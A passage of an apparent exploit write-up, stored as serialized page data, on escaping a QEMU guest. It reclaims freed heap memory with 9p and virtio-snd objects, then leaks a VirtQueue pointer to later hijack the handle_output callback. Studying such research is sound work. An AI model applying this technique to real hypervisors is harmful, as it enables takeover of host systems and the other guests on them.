*/\n",{"type":25,"tag":271,"props":142887,"children":142888},{"class":13593,"line":22337},[142889,142894,142898,142902,142906,142911],{"type":25,"tag":271,"props":142890,"children":142891},{"style":13620},[142892],{"type":30,"value":142893},"        BUG_ON",{"type":25,"tag":271,"props":142895,"children":142896},{"style":13625},[142897],{"type":30,"value":394},{"type":25,"tag":271,"props":142899,"children":142900},{"style":13598},[142901],{"type":30,"value":4503},{"type":25,"tag":271,"props":142903,"children":142904},{"style":13625},[142905],{"type":30,"value":14411},{"type":25,"tag":271,"props":142907,"children":142908},{"style":13598},[142909],{"type":30,"value":142910},"clunked",{"type":25,"tag":271,"props":142912,"children":142913},{"style":13625},[142914],{"type":30,"value":13665},{"type":25,"tag":271,"props":142916,"children":142917},{"class":13593,"line":36608},[142918,142922,142926],{"type":25,"tag":271,"props":142919,"children":142920},{"style":16171},[142921],{"type":30,"value":28866},{"type":25,"tag":271,"props":142923,"children":142924},{"style":14289},[142925],{"type":30,"value":140210},{"type":25,"tag":271,"props":142927,"children":142928},{"style":13625},[142929],{"type":30,"value":16165},{"type":25,"tag":271,"props":142931,"children":142932},{"class":13593,"line":36643},[142933],{"type":25,"tag":271,"props":142934,"children":142935},{"style":13625},[142936],{"type":30,"value":16501},{"type":25,"tag":271,"props":142938,"children":142939},{"class":13593,"line":36651},[142940,142944,142948,142953,142958,142962],{"type":25,"tag":271,"props":142941,"children":142942},{"style":13625},[142943],{"type":30,"value":142825},{"type":25,"tag":271,"props":142945,"children":142946},{"style":13603},[142947],{"type":30,"value":1065},{"type":25,"tag":271,"props":142949,"children":142950},{"style":13620},[142951],{"type":30,"value":142952}," g_new0",{"type":25,"tag":271,"props":142954,"children":142955},{"style":13625},[142956],{"type":30,"value":142957},"(V9fsFidState, ",{"type":25,"tag":271,"props":142959,"children":142960},{"style":16187},[142961],{"type":30,"value":968},{"type":25,"tag":271,"props":142963,"children":142964},{"style":13625},[142965],{"type":30,"value":13665},{"type":25,"tag":271,"props":142967,"children":142968},{"class":13593,"line":36659},[142969],{"type":25,"tag":271,"props":142970,"children":142971},{"emptyLinePlaceholder":18},[142972],{"type":30,"value":16829},{"type":25,"tag":271,"props":142974,"children":142975},{"class":13593,"line":36668},[142976],{"type":25,"tag":271,"props":142977,"children":142978},{"style":13625},[142979],{"type":30,"value":117894},{"type":25,"tag":26,"props":142981,"children":142982},{},[142983,142985,142990],{"type":30,"value":142984},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":25,"tag":264,"props":142986,"children":142988},{"className":142987},[],[142989],{"type":30,"value":141785},{"type":30,"value":141122},{"type":25,"tag":7764,"props":142992,"children":142994},{"code":142993},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[142995],{"type":25,"tag":264,"props":142996,"children":142997},{"__ignoreMap":7},[142998],{"type":30,"value":142993},{"type":25,"tag":2352,"props":143000,"children":143002},{"id":143001},"leaking-a-qemu-address",[143003],{"type":30,"value":143004},"Leaking a QEMU Address",{"type":25,"tag":26,"props":143006,"children":143007},{},[143008],{"type":30,"value":143009},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":25,"tag":26,"props":143011,"children":143012},{},[143013,143015,143020],{"type":30,"value":143014},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":25,"tag":264,"props":143016,"children":143018},{"className":143017},[],[143019],{"type":30,"value":136205},{"type":30,"value":359},{"type":25,"tag":7764,"props":143022,"children":143024},{"code":143023,"language":13243,"meta":7,"className":29637,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[143025],{"type":25,"tag":264,"props":143026,"children":143027},{"__ignoreMap":7},[143028,143071,143078,143109,143124,143139,143151,143164,143171,143178,143185,143196,143211,143218,143246,143265,143276,143283,143291,143328,143349,143361,143374,143387,143413,143425,143432,143470,143477,143484,143491,143522,143577,143589,143630,143653,143682,143709,143736,143768],{"type":25,"tag":271,"props":143029,"children":143030},{"class":13593,"line":13594},[143031,143035,143039,143043,143047,143051,143055,143059,143063,143067],{"type":25,"tag":271,"props":143032,"children":143033},{"style":14289},[143034],{"type":30,"value":64160},{"type":25,"tag":271,"props":143036,"children":143037},{"style":14289},[143038],{"type":30,"value":64165},{"type":25,"tag":271,"props":143040,"children":143041},{"style":13620},[143042],{"type":30,"value":136284},{"type":25,"tag":271,"props":143044,"children":143045},{"style":13625},[143046],{"type":30,"value":136289},{"type":25,"tag":271,"props":143048,"children":143049},{"style":13603},[143050],{"type":30,"value":17702},{"type":25,"tag":271,"props":143052,"children":143053},{"style":13598},[143054],{"type":30,"value":136298},{"type":25,"tag":271,"props":143056,"children":143057},{"style":13625},[143058],{"type":30,"value":136303},{"type":25,"tag":271,"props":143060,"children":143061},{"style":13603},[143062],{"type":30,"value":17702},{"type":25,"tag":271,"props":143064,"children":143065},{"style":13598},[143066],{"type":30,"value":136312},{"type":25,"tag":271,"props":143068,"children":143069},{"style":13625},[143070],{"type":30,"value":16299},{"type":25,"tag":271,"props":143072,"children":143073},{"class":13593,"line":11641},[143074],{"type":25,"tag":271,"props":143075,"children":143076},{"style":13625},[143077],{"type":30,"value":24005},{"type":25,"tag":271,"props":143079,"children":143080},{"class":13593,"line":14354},[143081,143086,143090,143095,143099,143104],{"type":25,"tag":271,"props":143082,"children":143083},{"style":13625},[143084],{"type":30,"value":143085},"    VirtIOSound ",{"type":25,"tag":271,"props":143087,"children":143088},{"style":13603},[143089],{"type":30,"value":17702},{"type":25,"tag":271,"props":143091,"children":143092},{"style":13625},[143093],{"type":30,"value":143094},"vsnd ",{"type":25,"tag":271,"props":143096,"children":143097},{"style":13603},[143098],{"type":30,"value":1065},{"type":25,"tag":271,"props":143100,"children":143101},{"style":13620},[143102],{"type":30,"value":143103}," VIRTIO_SND",{"type":25,"tag":271,"props":143105,"children":143106},{"style":13625},[143107],{"type":30,"value":143108},"(vdev);\n",{"type":25,"tag":271,"props":143110,"children":143111},{"class":13593,"line":14391},[143112,143116,143120],{"type":25,"tag":271,"props":143113,"children":143114},{"style":13625},[143115],{"type":30,"value":137302},{"type":25,"tag":271,"props":143117,"children":143118},{"style":13603},[143119],{"type":30,"value":17702},{"type":25,"tag":271,"props":143121,"children":143122},{"style":13625},[143123],{"type":30,"value":137311},{"type":25,"tag":271,"props":143125,"children":143126},{"class":13593,"line":14400},[143127,143131,143135],{"type":25,"tag":271,"props":143128,"children":143129},{"style":13625},[143130],{"type":30,"value":136331},{"type":25,"tag":271,"props":143132,"children":143133},{"style":13603},[143134],{"type":30,"value":17702},{"type":25,"tag":271,"props":143136,"children":143137},{"style":13625},[143138],{"type":30,"value":136340},{"type":25,"tag":271,"props":143140,"children":143141},{"class":13593,"line":16406},[143142,143146],{"type":25,"tag":271,"props":143143,"children":143144},{"style":14289},[143145],{"type":30,"value":29687},{"type":25,"tag":271,"props":143147,"children":143148},{"style":13625},[143149],{"type":30,"value":143150}," msg_sz, size;\n",{"type":25,"tag":271,"props":143152,"children":143153},{"class":13593,"line":16434},[143154,143159],{"type":25,"tag":271,"props":143155,"children":143156},{"style":14289},[143157],{"type":30,"value":143158},"    uint32_t",{"type":25,"tag":271,"props":143160,"children":143161},{"style":13625},[143162],{"type":30,"value":143163}," stream_id;\n",{"type":25,"tag":271,"props":143165,"children":143166},{"class":13593,"line":16447},[143167],{"type":25,"tag":271,"props":143168,"children":143169},{"emptyLinePlaceholder":18},[143170],{"type":30,"value":16829},{"type":25,"tag":271,"props":143172,"children":143173},{"class":13593,"line":16465},[143174],{"type":25,"tag":271,"props":143175,"children":143176},{"style":13625},[143177],{"type":30,"value":117894},{"type":25,"tag":271,"props":143179,"children":143180},{"class":13593,"line":16486},[143181],{"type":25,"tag":271,"props":143182,"children":143183},{"emptyLinePlaceholder":18},[143184],{"type":30,"value":16829},{"type":25,"tag":271,"props":143186,"children":143187},{"class":13593,"line":16495},[143188,143192],{"type":25,"tag":271,"props":143189,"children":143190},{"style":16171},[143191],{"type":30,"value":16174},{"type":25,"tag":271,"props":143193,"children":143194},{"style":13625},[143195],{"type":30,"value":136366},{"type":25,"tag":271,"props":143197,"children":143198},{"class":13593,"line":16744},[143199,143203,143207],{"type":25,"tag":271,"props":143200,"children":143201},{"style":13625},[143202],{"type":30,"value":136374},{"type":25,"tag":271,"props":143204,"children":143205},{"style":13603},[143206],{"type":30,"value":17702},{"type":25,"tag":271,"props":143208,"children":143209},{"style":13625},[143210],{"type":30,"value":136383},{"type":25,"tag":271,"props":143212,"children":143213},{"class":13593,"line":16761},[143214],{"type":25,"tag":271,"props":143215,"children":143216},{"emptyLinePlaceholder":18},[143217],{"type":30,"value":16829},{"type":25,"tag":271,"props":143219,"children":143220},{"class":13593,"line":16778},[143221,143225,143229,143233,143237,143241],{"type":25,"tag":271,"props":143222,"children":143223},{"style":13625},[143224],{"type":30,"value":136398},{"type":25,"tag":271,"props":143226,"children":143227},{"style":13603},[143228],{"type":30,"value":1065},{"type":25,"tag":271,"props":143230,"children":143231},{"style":13620},[143232],{"type":30,"value":136407},{"type":25,"tag":271,"props":143234,"children":143235},{"style":13625},[143236],{"type":30,"value":136412},{"type":25,"tag":271,"props":143238,"children":143239},{"style":14289},[143240],{"type":30,"value":68444},{"type":25,"tag":271,"props":143242,"children":143243},{"style":13625},[143244],{"type":30,"value":143245},"(VirtQueueElement));\n",{"type":25,"tag":271,"props":143247,"children":143248},{"class":13593,"line":16791},[143249,143253,143257,143261],{"type":25,"tag":271,"props":143250,"children":143251},{"style":16171},[143252],{"type":30,"value":16412},{"type":25,"tag":271,"props":143254,"children":143255},{"style":13625},[143256],{"type":30,"value":16213},{"type":25,"tag":271,"props":143258,"children":143259},{"style":13603},[143260],{"type":30,"value":33742},{"type":25,"tag":271,"props":143262,"children":143263},{"style":13625},[143264],{"type":30,"value":136446},{"type":25,"tag":271,"props":143266,"children":143267},{"class":13593,"line":16800},[143268,143272],{"type":25,"tag":271,"props":143269,"children":143270},{"style":16171},[143271],{"type":30,"value":16440},{"type":25,"tag":271,"props":143273,"children":143274},{"style":13625},[143275],{"type":30,"value":16165},{"type":25,"tag":271,"props":143277,"children":143278},{"class":13593,"line":16823},[143279],{"type":25,"tag":271,"props":143280,"children":143281},{"style":13625},[143282],{"type":30,"value":16492},{"type":25,"tag":271,"props":143284,"children":143285},{"class":13593,"line":16832},[143286],{"type":25,"tag":271,"props":143287,"children":143288},{"style":14385},[143289],{"type":30,"value":143290},"        /* get the message hdr object */\n",{"type":25,"tag":271,"props":143292,"children":143293},{"class":13593,"line":16841},[143294,143299,143303,143308,143312,143316,143320,143324],{"type":25,"tag":271,"props":143295,"children":143296},{"style":13625},[143297],{"type":30,"value":143298},"        msg_sz ",{"type":25,"tag":271,"props":143300,"children":143301},{"style":13603},[143302],{"type":30,"value":1065},{"type":25,"tag":271,"props":143304,"children":143305},{"style":13620},[143306],{"type":30,"value":143307}," iov_to_buf",{"type":25,"tag":271,"props":143309,"children":143310},{"style":13625},[143311],{"type":30,"value":394},{"type":25,"tag":271,"props":143313,"children":143314},{"style":13598},[143315],{"type":30,"value":65180},{"type":25,"tag":271,"props":143317,"children":143318},{"style":13625},[143319],{"type":30,"value":14411},{"type":25,"tag":271,"props":143321,"children":143322},{"style":13598},[143323],{"type":30,"value":136850},{"type":25,"tag":271,"props":143325,"children":143326},{"style":13625},[143327],{"type":30,"value":14351},{"type":25,"tag":271,"props":143329,"children":143330},{"class":13593,"line":16907},[143331,143336,143340,143345],{"type":25,"tag":271,"props":143332,"children":143333},{"style":13598},[143334],{"type":30,"value":143335},"                            elem",{"type":25,"tag":271,"props":143337,"children":143338},{"style":13625},[143339],{"type":30,"value":14411},{"type":25,"tag":271,"props":143341,"children":143342},{"style":13598},[143343],{"type":30,"value":143344},"out_num",{"type":25,"tag":271,"props":143346,"children":143347},{"style":13625},[143348],{"type":30,"value":14351},{"type":25,"tag":271,"props":143350,"children":143351},{"class":13593,"line":16915},[143352,143357],{"type":25,"tag":271,"props":143353,"children":143354},{"style":16187},[143355],{"type":30,"value":143356},"                            0",{"type":25,"tag":271,"props":143358,"children":143359},{"style":13625},[143360],{"type":30,"value":14351},{"type":25,"tag":271,"props":143362,"children":143363},{"class":13593,"line":16945},[143364,143369],{"type":25,"tag":271,"props":143365,"children":143366},{"style":13603},[143367],{"type":30,"value":143368},"                            &",{"type":25,"tag":271,"props":143370,"children":143371},{"style":13625},[143372],{"type":30,"value":143373},"hdr,\n",{"type":25,"tag":271,"props":143375,"children":143376},{"class":13593,"line":16953},[143377,143382],{"type":25,"tag":271,"props":143378,"children":143379},{"style":14289},[143380],{"type":30,"value":143381},"                            sizeof",{"type":25,"tag":271,"props":143383,"children":143384},{"style":13625},[143385],{"type":30,"value":143386},"(virtio_snd_pcm_xfer));\n",{"type":25,"tag":271,"props":143388,"children":143389},{"class":13593,"line":16984},[143390,143394,143399,143403,143408],{"type":25,"tag":271,"props":143391,"children":143392},{"style":16171},[143393],{"type":30,"value":16412},{"type":25,"tag":271,"props":143395,"children":143396},{"style":13625},[143397],{"type":30,"value":143398}," (msg_sz ",{"type":25,"tag":271,"props":143400,"children":143401},{"style":13603},[143402],{"type":30,"value":28810},{"type":25,"tag":271,"props":143404,"children":143405},{"style":14289},[143406],{"type":30,"value":143407}," sizeof",{"type":25,"tag":271,"props":143409,"children":143410},{"style":13625},[143411],{"type":30,"value":143412},"(virtio_snd_pcm_xfer)) {\n",{"type":25,"tag":271,"props":143414,"children":143415},{"class":13593,"line":16992},[143416,143420],{"type":25,"tag":271,"props":143417,"children":143418},{"style":16171},[143419],{"type":30,"value":73665},{"type":25,"tag":271,"props":143421,"children":143422},{"style":13625},[143423],{"type":30,"value":143424}," rx_err;\n",{"type":25,"tag":271,"props":143426,"children":143427},{"class":13593,"line":17052},[143428],{"type":25,"tag":271,"props":143429,"children":143430},{"style":13625},[143431],{"type":30,"value":16492},{"type":25,"tag":271,"props":143433,"children":143434},{"class":13593,"line":22168},[143435,143440,143444,143448,143452,143457,143461,143466],{"type":25,"tag":271,"props":143436,"children":143437},{"style":13625},[143438],{"type":30,"value":143439},"        stream_id ",{"type":25,"tag":271,"props":143441,"children":143442},{"style":13603},[143443],{"type":30,"value":1065},{"type":25,"tag":271,"props":143445,"children":143446},{"style":13620},[143447],{"type":30,"value":138312},{"type":25,"tag":271,"props":143449,"children":143450},{"style":13625},[143451],{"type":30,"value":394},{"type":25,"tag":271,"props":143453,"children":143454},{"style":13598},[143455],{"type":30,"value":143456},"hdr",{"type":25,"tag":271,"props":143458,"children":143459},{"style":13625},[143460],{"type":30,"value":1860},{"type":25,"tag":271,"props":143462,"children":143463},{"style":13598},[143464],{"type":30,"value":143465},"stream_id",{"type":25,"tag":271,"props":143467,"children":143468},{"style":13625},[143469],{"type":30,"value":13665},{"type":25,"tag":271,"props":143471,"children":143472},{"class":13593,"line":22186},[143473],{"type":25,"tag":271,"props":143474,"children":143475},{"emptyLinePlaceholder":18},[143476],{"type":30,"value":16829},{"type":25,"tag":271,"props":143478,"children":143479},{"class":13593,"line":22231},[143480],{"type":25,"tag":271,"props":143481,"children":143482},{"style":13625},[143483],{"type":30,"value":136479},{"type":25,"tag":271,"props":143485,"children":143486},{"class":13593,"line":22337},[143487],{"type":25,"tag":271,"props":143488,"children":143489},{"emptyLinePlaceholder":18},[143490],{"type":30,"value":16829},{"type":25,"tag":271,"props":143492,"children":143493},{"class":13593,"line":36608},[143494,143498,143502,143506,143510,143514,143518],{"type":25,"tag":271,"props":143495,"children":143496},{"style":13620},[143497],{"type":30,"value":136494},{"type":25,"tag":271,"props":143499,"children":143500},{"style":13625},[143501],{"type":30,"value":394},{"type":25,"tag":271,"props":143503,"children":143504},{"style":13603},[143505],{"type":30,"value":13632},{"type":25,"tag":271,"props":143507,"children":143508},{"style":13598},[143509],{"type":30,"value":49373},{"type":25,"tag":271,"props":143511,"children":143512},{"style":13625},[143513],{"type":30,"value":14411},{"type":25,"tag":271,"props":143515,"children":143516},{"style":13598},[143517],{"type":30,"value":136515},{"type":25,"tag":271,"props":143519,"children":143520},{"style":13625},[143521],{"type":30,"value":27925},{"type":25,"tag":271,"props":143523,"children":143524},{"class":13593,"line":36643},[143525,143529,143533,143537,143541,143545,143549,143553,143557,143561,143565,143569,143573],{"type":25,"tag":271,"props":143526,"children":143527},{"style":13625},[143528],{"type":30,"value":136527},{"type":25,"tag":271,"props":143530,"children":143531},{"style":13603},[143532],{"type":30,"value":1065},{"type":25,"tag":271,"props":143534,"children":143535},{"style":13620},[143536],{"type":30,"value":136536},{"type":25,"tag":271,"props":143538,"children":143539},{"style":13625},[143540],{"type":30,"value":394},{"type":25,"tag":271,"props":143542,"children":143543},{"style":13598},[143544],{"type":30,"value":65180},{"type":25,"tag":271,"props":143546,"children":143547},{"style":13625},[143548],{"type":30,"value":14411},{"type":25,"tag":271,"props":143550,"children":143551},{"style":13598},[143552],{"type":30,"value":136553},{"type":25,"tag":271,"props":143554,"children":143555},{"style":13625},[143556],{"type":30,"value":44},{"type":25,"tag":271,"props":143558,"children":143559},{"style":13598},[143560],{"type":30,"value":65180},{"type":25,"tag":271,"props":143562,"children":143563},{"style":13625},[143564],{"type":30,"value":14411},{"type":25,"tag":271,"props":143566,"children":143567},{"style":13598},[143568],{"type":30,"value":136570},{"type":25,"tag":271,"props":143570,"children":143571},{"style":13625},[143572],{"type":30,"value":14406},{"type":25,"tag":271,"props":143574,"children":143575},{"style":13603},[143576],{"type":30,"value":63977},{"type":25,"tag":271,"props":143578,"children":143579},{"class":13593,"line":36651},[143580,143584],{"type":25,"tag":271,"props":143581,"children":143582},{"style":14289},[143583],{"type":30,"value":136586},{"type":25,"tag":271,"props":143585,"children":143586},{"style":13625},[143587],{"type":30,"value":143588},"(virtio_snd_pcm_status);\n",{"type":25,"tag":271,"props":143590,"children":143591},{"class":13593,"line":36659},[143592,143596,143600,143604,143608,143612,143616,143620,143625],{"type":25,"tag":271,"props":143593,"children":143594},{"style":13625},[143595],{"type":30,"value":136604},{"type":25,"tag":271,"props":143597,"children":143598},{"style":13603},[143599],{"type":30,"value":1065},{"type":25,"tag":271,"props":143601,"children":143602},{"style":13620},[143603],{"type":30,"value":136613},{"type":25,"tag":271,"props":143605,"children":143606},{"style":13625},[143607],{"type":30,"value":394},{"type":25,"tag":271,"props":143609,"children":143610},{"style":14289},[143611],{"type":30,"value":68444},{"type":25,"tag":271,"props":143613,"children":143614},{"style":13625},[143615],{"type":30,"value":136626},{"type":25,"tag":271,"props":143617,"children":143618},{"style":13603},[143619],{"type":30,"value":2074},{"type":25,"tag":271,"props":143621,"children":143622},{"style":13625},[143623],{"type":30,"value":143624}," size);",{"type":25,"tag":271,"props":143626,"children":143627},{"style":14385},[143628],{"type":30,"value":143629},"    // [1]\n",{"type":25,"tag":271,"props":143631,"children":143632},{"class":13593,"line":36668},[143633,143637,143641,143645,143649],{"type":25,"tag":271,"props":143634,"children":143635},{"style":13598},[143636],{"type":30,"value":136643},{"type":25,"tag":271,"props":143638,"children":143639},{"style":13625},[143640],{"type":30,"value":14411},{"type":25,"tag":271,"props":143642,"children":143643},{"style":13598},[143644],{"type":30,"value":65180},{"type":25,"tag":271,"props":143646,"children":143647},{"style":13603},[143648],{"type":30,"value":16155},{"type":25,"tag":271,"props":143650,"children":143651},{"style":13625},[143652],{"type":30,"value":136660},{"type":25,"tag":271,"props":143654,"children":143655},{"class":13593,"line":36710},[143656,143660,143664,143668,143672,143677],{"type":25,"tag":271,"props":143657,"children":143658},{"style":13598},[143659],{"type":30,"value":136643},{"type":25,"tag":271,"props":143661,"children":143662},{"style":13625},[143663],{"type":30,"value":14411},{"type":25,"tag":271,"props":143665,"children":143666},{"style":13598},[143667],{"type":30,"value":136312},{"type":25,"tag":271,"props":143669,"children":143670},{"style":13603},[143671],{"type":30,"value":16155},{"type":25,"tag":271,"props":143673,"children":143674},{"style":13625},[143675],{"type":30,"value":143676}," vq;",{"type":25,"tag":271,"props":143678,"children":143679},{"style":14385},[143680],{"type":30,"value":143681},"                                            // [2]\n",{"type":25,"tag":271,"props":143683,"children":143684},{"class":13593,"line":36743},[143685,143689,143693,143697,143701,143705],{"type":25,"tag":271,"props":143686,"children":143687},{"style":13598},[143688],{"type":30,"value":136643},{"type":25,"tag":271,"props":143690,"children":143691},{"style":13625},[143692],{"type":30,"value":14411},{"type":25,"tag":271,"props":143694,"children":143695},{"style":13598},[143696],{"type":30,"value":136700},{"type":25,"tag":271,"props":143698,"children":143699},{"style":13603},[143700],{"type":30,"value":16155},{"type":25,"tag":271,"props":143702,"children":143703},{"style":16187},[143704],{"type":30,"value":16190},{"type":25,"tag":271,"props":143706,"children":143707},{"style":13625},[143708],{"type":30,"value":16165},{"type":25,"tag":271,"props":143710,"children":143711},{"class":13593,"line":36751},[143712,143716,143720,143724,143728,143732],{"type":25,"tag":271,"props":143713,"children":143714},{"style":13598},[143715],{"type":30,"value":136643},{"type":25,"tag":271,"props":143717,"children":143718},{"style":13625},[143719],{"type":30,"value":14411},{"type":25,"tag":271,"props":143721,"children":143722},{"style":13598},[143723],{"type":30,"value":27022},{"type":25,"tag":271,"props":143725,"children":143726},{"style":13603},[143727],{"type":30,"value":16155},{"type":25,"tag":271,"props":143729,"children":143730},{"style":16187},[143731],{"type":30,"value":16190},{"type":25,"tag":271,"props":143733,"children":143734},{"style":13625},[143735],{"type":30,"value":16165},{"type":25,"tag":271,"props":143737,"children":143738},{"class":13593,"line":36759},[143739,143743,143747,143751,143755,143759,143763],{"type":25,"tag":271,"props":143740,"children":143741},{"style":13620},[143742],{"type":30,"value":136747},{"type":25,"tag":271,"props":143744,"children":143745},{"style":13625},[143746],{"type":30,"value":394},{"type":25,"tag":271,"props":143748,"children":143749},{"style":13603},[143750],{"type":30,"value":13632},{"type":25,"tag":271,"props":143752,"children":143753},{"style":13598},[143754],{"type":30,"value":49373},{"type":25,"tag":271,"props":143756,"children":143757},{"style":13625},[143758],{"type":30,"value":14411},{"type":25,"tag":271,"props":143760,"children":143761},{"style":13598},[143762],{"type":30,"value":136768},{"type":25,"tag":271,"props":143764,"children":143765},{"style":13625},[143766],{"type":30,"value":143767},", buffer, entry);\n",{"type":25,"tag":271,"props":143769,"children":143770},{"class":13593,"line":36768},[143771],{"type":25,"tag":271,"props":143772,"children":143773},{"style":13625},[143774],{"type":30,"value":16492},{"type":25,"tag":26,"props":143776,"children":143777},{},[143778,143779,143784,143786,143791,143793,143798,143800,143806],{"type":30,"value":136822},{"type":25,"tag":264,"props":143780,"children":143782},{"className":143781},[],[143783],{"type":30,"value":136828},{"type":30,"value":143785},", QEMU allocates a ",{"type":25,"tag":264,"props":143787,"children":143789},{"className":143788},[],[143790],{"type":30,"value":136965},{"type":30,"value":143792}," whose size depends on the guest-provided iovec, and at ",{"type":25,"tag":264,"props":143794,"children":143796},{"className":143795},[],[143797],{"type":30,"value":136863},{"type":30,"value":143799}," it stores the ",{"type":25,"tag":264,"props":143801,"children":143803},{"className":143802},[],[143804],{"type":30,"value":143805},"VirtQueue *vq",{"type":30,"value":143807}," pointer into the buffer.",{"type":25,"tag":26,"props":143809,"children":143810},{},[143811,143812,143818],{"type":30,"value":77331},{"type":25,"tag":264,"props":143813,"children":143815},{"className":143814},[],[143816],{"type":30,"value":143817},"VirtQueue",{"type":30,"value":143819}," structure contains some useful fields:",{"type":25,"tag":7764,"props":143821,"children":143823},{"code":143822,"language":13243,"meta":7,"className":29637,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[143824],{"type":25,"tag":264,"props":143825,"children":143826},{"__ignoreMap":7},[143827,143839,143846,143853,143860,143868,143885,143892,143899],{"type":25,"tag":271,"props":143828,"children":143829},{"class":13593,"line":13594},[143830,143834],{"type":25,"tag":271,"props":143831,"children":143832},{"style":14289},[143833],{"type":30,"value":22524},{"type":25,"tag":271,"props":143835,"children":143836},{"style":13625},[143837],{"type":30,"value":143838}," VirtQueue\n",{"type":25,"tag":271,"props":143840,"children":143841},{"class":13593,"line":11641},[143842],{"type":25,"tag":271,"props":143843,"children":143844},{"style":13625},[143845],{"type":30,"value":24005},{"type":25,"tag":271,"props":143847,"children":143848},{"class":13593,"line":14354},[143849],{"type":25,"tag":271,"props":143850,"children":143851},{"style":13625},[143852],{"type":30,"value":117894},{"type":25,"tag":271,"props":143854,"children":143855},{"class":13593,"line":14391},[143856],{"type":25,"tag":271,"props":143857,"children":143858},{"emptyLinePlaceholder":18},[143859],{"type":30,"value":16829},{"type":25,"tag":271,"props":143861,"children":143862},{"class":13593,"line":14400},[143863],{"type":25,"tag":271,"props":143864,"children":143865},{"style":13625},[143866],{"type":30,"value":143867},"    VirtIOHandleOutput handle_output;\n",{"type":25,"tag":271,"props":143869,"children":143870},{"class":13593,"line":16406},[143871,143876,143880],{"type":25,"tag":271,"props":143872,"children":143873},{"style":13625},[143874],{"type":30,"value":143875},"    VirtIODevice ",{"type":25,"tag":271,"props":143877,"children":143878},{"style":13603},[143879],{"type":30,"value":17702},{"type":25,"tag":271,"props":143881,"children":143882},{"style":13625},[143883],{"type":30,"value":143884},"vdev;\n",{"type":25,"tag":271,"props":143886,"children":143887},{"class":13593,"line":16434},[143888],{"type":25,"tag":271,"props":143889,"children":143890},{"emptyLinePlaceholder":18},[143891],{"type":30,"value":16829},{"type":25,"tag":271,"props":143893,"children":143894},{"class":13593,"line":16447},[143895],{"type":25,"tag":271,"props":143896,"children":143897},{"style":13625},[143898],{"type":30,"value":117894},{"type":25,"tag":271,"props":143900,"children":143901},{"class":13593,"line":16465},[143902],{"type":25,"tag":271,"props":143903,"children":143904},{"style":13625},[143905],{"type":30,"value":29700},{"type":25,"tag":26,"props":143907,"children":143908},{},[143909,143910,143916,143918,143924],{"type":30,"value":10272},{"type":25,"tag":264,"props":143911,"children":143913},{"className":143912},[],[143914],{"type":30,"value":143915},".handle_output",{"type":30,"value":143917}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":25,"tag":264,"props":143919,"children":143921},{"className":143920},[],[143922],{"type":30,"value":143923},".vdev",{"type":30,"value":143925}," is the pointer passed to it as the first argument:",{"type":25,"tag":7764,"props":143927,"children":143929},{"code":143928,"language":13243,"meta":7,"className":29637,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[143930],{"type":25,"tag":264,"props":143931,"children":143932},{"__ignoreMap":7},[143933,143966,143973,144028,144065,144072,144079,144086,144107,144114,144121,144128],{"type":25,"tag":271,"props":143934,"children":143935},{"class":13593,"line":13594},[143936,143940,143944,143949,143954,143958,143962],{"type":25,"tag":271,"props":143937,"children":143938},{"style":14289},[143939],{"type":30,"value":64160},{"type":25,"tag":271,"props":143941,"children":143942},{"style":14289},[143943],{"type":30,"value":64165},{"type":25,"tag":271,"props":143945,"children":143946},{"style":13620},[143947],{"type":30,"value":143948}," virtio_queue_notify_vq",{"type":25,"tag":271,"props":143950,"children":143951},{"style":13625},[143952],{"type":30,"value":143953},"(VirtQueue ",{"type":25,"tag":271,"props":143955,"children":143956},{"style":13603},[143957],{"type":30,"value":17702},{"type":25,"tag":271,"props":143959,"children":143960},{"style":13598},[143961],{"type":30,"value":136312},{"type":25,"tag":271,"props":143963,"children":143964},{"style":13625},[143965],{"type":30,"value":16299},{"type":25,"tag":271,"props":143967,"children":143968},{"class":13593,"line":11641},[143969],{"type":25,"tag":271,"props":143970,"children":143971},{"style":13625},[143972],{"type":30,"value":24005},{"type":25,"tag":271,"props":143974,"children":143975},{"class":13593,"line":14354},[143976,143980,143984,143988,143992,143997,144001,144006,144010,144015,144019,144024],{"type":25,"tag":271,"props":143977,"children":143978},{"style":16171},[143979],{"type":30,"value":25404},{"type":25,"tag":271,"props":143981,"children":143982},{"style":13625},[143983],{"type":30,"value":16213},{"type":25,"tag":271,"props":143985,"children":143986},{"style":13598},[143987],{"type":30,"value":136312},{"type":25,"tag":271,"props":143989,"children":143990},{"style":13625},[143991],{"type":30,"value":14411},{"type":2